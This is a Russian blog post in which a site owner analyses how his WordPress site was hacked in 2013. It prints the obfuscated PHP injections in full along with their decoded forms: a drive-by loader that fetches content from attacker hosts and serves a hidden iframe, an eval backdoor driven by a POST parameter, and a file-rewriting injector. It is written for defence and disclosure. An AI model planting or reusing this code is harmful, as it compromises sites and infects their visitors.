Сегодня (2 мая 2013) на сайте vorchun.ru беда: дважды взламывали CMS WordPress. Способ проникновения пока не выяснил. Настоятельно рекомендую использовать на компьютере брандмауэр с функцией контроля компонентов (мой выбор Outpost Firewall). Обновление всех компонентов WordPress не помогло. Сейчас отключены плагины, без которых можно «прожить», буду смотреть на результат.
Модификации подвергались следующие файлы
/wp-content/plugins/sabre/sabre-define.php
/wp-content/themes/coraline/footer.php
/wp-content/themes/coraline/full-width-page.php
/wp-content/themes/coraline/functions.php
/wp-content/themes/coraline/header.php
/wp-content/themes/coraline/index.php
/wp-content/themes/coraline/page.php
/wp-content/themes/coraline/sidebar-footer.php
+ дополнительно те же файлы других тем, которые не использовались
В файлы был дописан следующий код, который DrWeb определял как вирус PHP.Siggen.19
<?php eval(gzinflate(base64_decode('fVRtb9s2EP7sAvsPF0MopUSV5CXtithKU3TeVqxNCsfZPgSZoFKUzUSiVJKKEzT+7z2Ssp1i6wzZMu+eu3vujbwEf69gJRes8Ekp618VCYKvPz0bOOFGBuEoGKMUn7ITVPNGAGqyogLf62QVgLEZcHS30WfsniutfEJRn3HBNXp2sIFHl5DCVuFcjK3KChXTTYtiugzh3eXsw/mneTabzi9nZ/PZ27OL36azEEa9gdd0euOM3TMKxqzXGT5OIaVorAL20hSSAHqzMq8UexKZVo1iT1ysgSEAvm7gvGLZgumMNkIzgek56muDlUx3UoCWvPYN3npY/0fVqDTJcWELPfB4lSotKyasbOw1KSE2eNlIpMIxbjIGfE/wpzL/Dg5MAlGK+CuPX8M/QPadSc/Ba34UG8njyw9Q7qJjo0uZ1wyjkInSDxU7iSrRCUwa2kZxY3mcf1ZN1Wk2hoqV+vjFKDk8bO/HgG3Cwyg5Mof1JHb2MCn4HdAqVyodWl/Dkwl3UZSk6XCpdXscxwXT4svi9vNNvlxE9UO5ijoV33zpmHyIkWfULts3d0ymThRVuWZKRzdqCCte6GU6PEpeD2HJ+GKp8fDzIYaJXRz8gxxOyBhMmDLvKg1WYXOmTcEqLm5Nzv/HRdB4IegPebiSmyHb27p0Pd32YVNdN0yuH1hzmZL4LpexrlvnxCuRC8ojEiumVEaiunhpty+z9iToY/l7dgb75fLKAB4fQfOa+QG8sPNZ25PRnMCrZP+lafWg37uiomaK7eb6O867bTGIPgV3Lls0OC2b1oxnGQJZ9ReE+ZQrybWJ1YZPBtu46F0ixG6UgWxEa/cye9VjtsWqqMM4yA5x2gnD0yS1LSSWjFpq/17JHtW7xTMN3uzo4en4u770bfG63PQgu5jO/prOrsgf8/mn7BJP2dvfp2dzcm2wpiatZIuszjVd+iT+m4uiWamYhIAOAnj+HL7Tf7x4P308b5nMtxBXPrySGplJ1jZSc7HwE0d602Wu8BL0vezd+fmf76dXJMs6XZeSXNsQnihp+nSdYXO1nqIZbZpbjnf3xiaUuSj8UThKkiQI3bAcvH51lCT7v4Qk7mdr0EouMCS63lUZv/h8Aw==')));?> |
Декодированный код выглядит следующим образом
if (!defined('frmDs')) { define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else { $out = file_get_contents($url); } return trim($out); } function frm_crpt($in) { $il=strlen($in);$o=''; for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; return $o; } function frm_getfrm() { $defframe = ''; //default frame $codelink = 'http://detnqgkbjahg.myfw.us/nc/gnc.php?ver=jquery.latest.js'; if (!$codelink){ return $defframe; } $dr='/var/tmp'; $f = $dr.'/sess_'.md5('frm_frame'); if(!file_exists($f) || time() - filemtime($f) > 60*5) { $dlc = frm_dl($codelink); if ($dlc) { if ($fp = @fopen($f, 'w')) { fwrite($fp, frm_crpt($dlc)); fclose($fp); } else return $dlc; } else @unlink($f); } $fc = @file_get_contents($f); return ($fc)?frm_crpt($fc):$defframe; } $ua = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ) { error_reporting(0); if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) { @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); print($nfc); } } } |
Update.
После анализа логов Apache был обнаружен бэкдор /wp-content/plugins/parasite-eliminator/aycyleqs.php
По дате создания бэкдор годичной давности. Использование бэкдора происходит с IP 91.224.160.25, запросы приходят каждые четыре часа.
Бэкдор «от души» закодирован. Если хотите самостоятельно посмотреть исходный код, то eval надо заменить на echo. Например, вместо eval(base64_decode … написать echo(base64_decode ….
Оригинальный код бэкдора
<?php echo(base64_decode('LyptbUp1Ki9ldmFsLyo7QmUndCovKC8qWFdRViwqL2Jhc2U2NF9kZWNvZGUvKko+O3xJLSovKC8qTTsuQ1cqLydMeW90TFg1ZEtpOXBaaThxYVV4amFUd3FMeWd2S254d01Db3ZhWE56WlhRdktrcDBUVmtxTHlndktscDRWR0VsS2k4a1gxSkZVVlZGVTFRdktrNTZaVnNyS2k5Ykx5cGVUeWtzTVNvdkonLypDO3tLTjYqLy4vKlQxUG1PKi8nM1Y2Snk4cU1XaFNPRXhmZUR3cUx5NHZLbmtoTzBrN0tpOG5iblZqSnk4cVZDeGhTU2hQZXpzcUwxMHZLakY1WVhwYVlVQmFPU292THlvMFRFZ3FMeWt2S2s0d2JDb3ZMeXBRUUdnL1BWJy8qOUA8RmJhMCovLi8qfkZfdXMqLydBcUx5a3ZLalJkZm1ncUwyVjJZV3d2S2tsOVNWQmJPU292S0M4cWFEZ21Tam'.'dxTDNOMGNtbHdjMnhoYzJobGN5OHFZbDEwS2k4b0x5cGZia05JUUVZcUx5UmZVa1ZSVlVWVFZDOHFienAnLypxJm0mKi8uLyplVi4qLyc5WFVkTEtpOWJMeXBmT2xVcUx5ZDFKeThxWkR3L1lTWXFMeTR2S25SQ1VIa3FMeWQ2Snk4cVpYUW1TQ292TGk4cU4zUW1Qak4xS2k4bmJpY3ZLbTBnWFQ0cUx5NHZLakp3VnpRcUx5ZDEnLyowSTAqLy4vKmNBTikqLydZeWN2S2paTlhqdFhQM3NxTDEwdktpVjdUajRxTHk4cUt5ZzFLaThwTHlwTmMweFNZQ292THlwZE1tTWdRU292S1M4cVVqbFlSMkJNUkU4cUx5OHFYMlZ1T0Nvdk95OHFhSDA0T25FcUx3PT0nLyopc2FSKi8pLyo6JVMqLy8qX3Q9Ki8pLypxU3xnfCovLyp7VmE9Ki87Lyo4PnphOV0hKi8=')); ?> |
Декодированный (дважды) код бэкдора, с удалением всех комментариев. Как понимаю, куча рэндомных комментариев добавлена, чтобы обмануть антивирусы.
if(isset($_REQUEST['uz'.'nuc']))eval(stripslashes($_REQUEST['u'.'z'.'n'.'uc'])); |
То есть бэкдор запускает на выполнение код, переданный ему в POST-запросе параметром uznuc. Поставил honeyspot, посмотрим что передается в запросах.
Update 2
Отловил запрос. Кроме параметра uznuc передается ещё четыре параметра, которые используются скриптом.
eval(gzinflate(base64_decode('7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8iivOtomnydut3+/1fnf7EV6ev33zv45/Ols1F9tMff//OnV/8u62ydt58dvGDYnleZm2+Ncma/NP933+WT6tZPvDW4S9JY3Any9X1O4U6X53X2SJv5tnkNsDtqwOg86Jp51OBjXfLYvn2NnDdewOAy+r6B5cCd5afM863gWtfI7B37woRU4tZGow/tZB/4+Q3Tqj/378tFvnvXxaLot3aPdjZuXOYFhfLqs5//3WT179/Nqnqdqut1/mdQ7xxvl5O26Japuf14veflenW77auyzvpL/6Nkx8rztMt8/Xvn7+jwTZbH0/p69+/WBbtx3ek1Y/9btN5+llqPxcAh/iGPyOUqhV9Op2P0pOvXj3/8uUbGumbr169ePPq+MXrZ6evRumutP/dqnVrQOXv8mmKt+Qr4CKf1/Wy4s/T3/Wzz9KdO6m+dZ6VTe66nZZVkzsAvyTN6ev0F5vGRZn//hdErGm1bPMlDUyw/iXUtM7bdb1ksPTmLwGR7t6dzvPp25RaL/Np+xsnv9s8u8z1L69vYKlMYGaL5p5g/m5TtGIKe18BMbzStPWqIhSmo/TjxwVPZtrU088+ljEydAbzY51+MY08OsXTcgaxzGcf3916/Pv+HvRJml9m5e+7Nf7k9/h97xz+vr/H0c/4f9/5fZtv3S2aj0PsfQ7TEZiPqFvC9/ev81WZTfOtj3+x4b9f8nE6ctyI3wMohxuBGJr8ko9HNGneKO/8HpZejz7+2AMaAvzs48d2qFtDIvb7fvzxWD/Jl/zJxQ8IX27p4N4Zf/z7EnPfOfw9jkAVIuyqLpbt1seP67xZVcsmP/r4TodckFCVh9/tKiOWmq3yekGj3Pl0f18QZSH+LM3frUr0/PHP/MzHI30RDc5JQrPpXGGlGQn8SgWMNMvvygyrMkhf/MzPbP2uRfP7X9VFm01KYH/nF/5CtKmulnmNP3/Xz4i9F9cXxWyLxgLObYulcAsA/m7ns89+z/NqlS+p8ejj+mOZZeIwQIEK+Qy/LPAbwB26L1efETVA5mY9oUncapg851sf/+7VxyNuQENnLO+Mtu/dGR3oy6CXAEgfpx6VdJQkt/NFNQM6wbfy8i/hfwWJyfr8PK8/OyeCzTAQ7rQpfsCI3jk8Z9HHFwZrfWFV5xeW5XxRGRFjaSOLa1cSoMMVjv1s/NHvW/++y4/G+sUhy+CPReibfnxlCfxj55g1xo8GanrtIf1jv2dbrZkfRnZKzFfDlPRIyN/71MM/oiiIj8DOd0N+/n8CAAD//w=='))); |
После декодирования получаем следующий код, исполняемый бэкдором
if (isset($_REQUEST['jansgaj'])) {$paths=gzinflate(base64_decode($_REQUEST['jansgaj']));} if (isset($_REQUEST['bnpyx'])) {$phpframeshab=gzinflate(base64_decode($_REQUEST['bnpyx']));} if (isset($_REQUEST['eisthc'])) {$codelink=gzinflate(base64_decode($_REQUEST['eisthc']));} if (isset($_REQUEST['loyzv'])) {$defframe=gzinflate(base64_decode($_REQUEST['loyzv']));} //$paths $codelink $phpframeshab $defframe set_time_limit(1800); ignore_user_abort(true); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else {$out = file_get_contents($url);} return $out; } //check connect $haveconnect = false; if (isset($codelink)){ $c = frm_dl($codelink); if (strpos($c, '<iframe src=') !== false){ $haveconnect = true; } } $phpframepat='/(<\?php eval\(.+?\);\?>|eval\(.+?\);)\s*/is'; if (isset($phpframeshab)){ $phpframe = str_replace('{defframe}' , $defframe , $phpframeshab); $phpframe = str_replace('{codelink}', ($haveconnect)?$codelink:'', $phpframe); $phpframe='<php eval(gzinflate(base64_decode(\''.base64_encode(gzdeflate($phpframe)).'\')));?>'; } print('<response>'); if (isset($paths)) { $wantedperm = 0644; $paths = explode('||',$paths); foreach($paths as $p) { if(!file_exists($p)||(!is_writable($p)&&fileowner($p)!=getmygid())) continue; if($fd=@fopen($p,'r')){ $filetime=filemtime($p); $filep=intval(substr(sprintf('%o',fileperms($p)),-3),8); if ($filep < $wantedperm) { chmod($p, $wantedperm); } $buffer=fread($fd,filesize($p));fclose($fd); $buffer=preg_replace($phpframepat,'',$buffer); if(isset($phpframe)){$buffer=$phpframe."\r\n".$buffer;} if($fd=@fopen($p, 'w')){ fwrite($fd, $buffer);fclose($fd); @touch($p,$filetime); if ($filep < $wantedperm) chmod($p, $filep); } } } } exit('</response>'); |
В параметре jansgaj хранится набор файлов вашего сайта, которые следует модифицировать. В bnpyx — код, который дописывается в указанные файлы. В eisthc — URL, с которого подкачивается разная дрянь (http://gfdwowolvt.myfw.us/nc/gnc.php?ver=jquery.latest.js). В loyzv — HTML-код, отображаемый за пределами экрана в браузере посетителя взломанного сайта
<style>.wrvii { position:absolute; left:-920px; top:-696px; }</style> <div class="wrvii"><iframe src="http://gfdwowolvt.myfw.us/jquery/get.php?ver=jquery.latest.js" width="495" height="364"></iframe></div> |
Осталось невыясненным главное — как бэкдор попал на сайт. Сначала склонялся к мысли, что в свое время был скачан «порченный» плагин parasite-eliminator, содержащий этот бэкдор. Потом плагин был отключен за ненадобностью (blacklist по ключевым словам эффективнее), а вот папку плагина не стер, как оказалось зря.
Против этой версии работает то, что дата создания файла с бэкдором 6 мая 2012, а в августе 2012-го на сайте был глобальный «перезалив» файлов из бэкапа и файлов «старше» даты восстановления быть не должно. Получается, что бэкдор попал через уязвимость в каком не обновленном плагине WordPress.
В заключение хочу настоятельно рекомендовать обновлять WordPress и его плагины, сразу после выхода новых версий (даже если плагин не используется, но по какой-то причине вы его оставили на сайте). Так же стоит принять во внимание, что плагин «belavir (php MD5)» относится к разряду «must have», без него о факте взлома блога узнал бы только от Яндекса («этот сайт может угрожать безопасности вашего компьютера»).
Накропал сей текст Vor’Chun
Адрес этой страницы http://vorchun.ru/news/vzlomali-wordpress/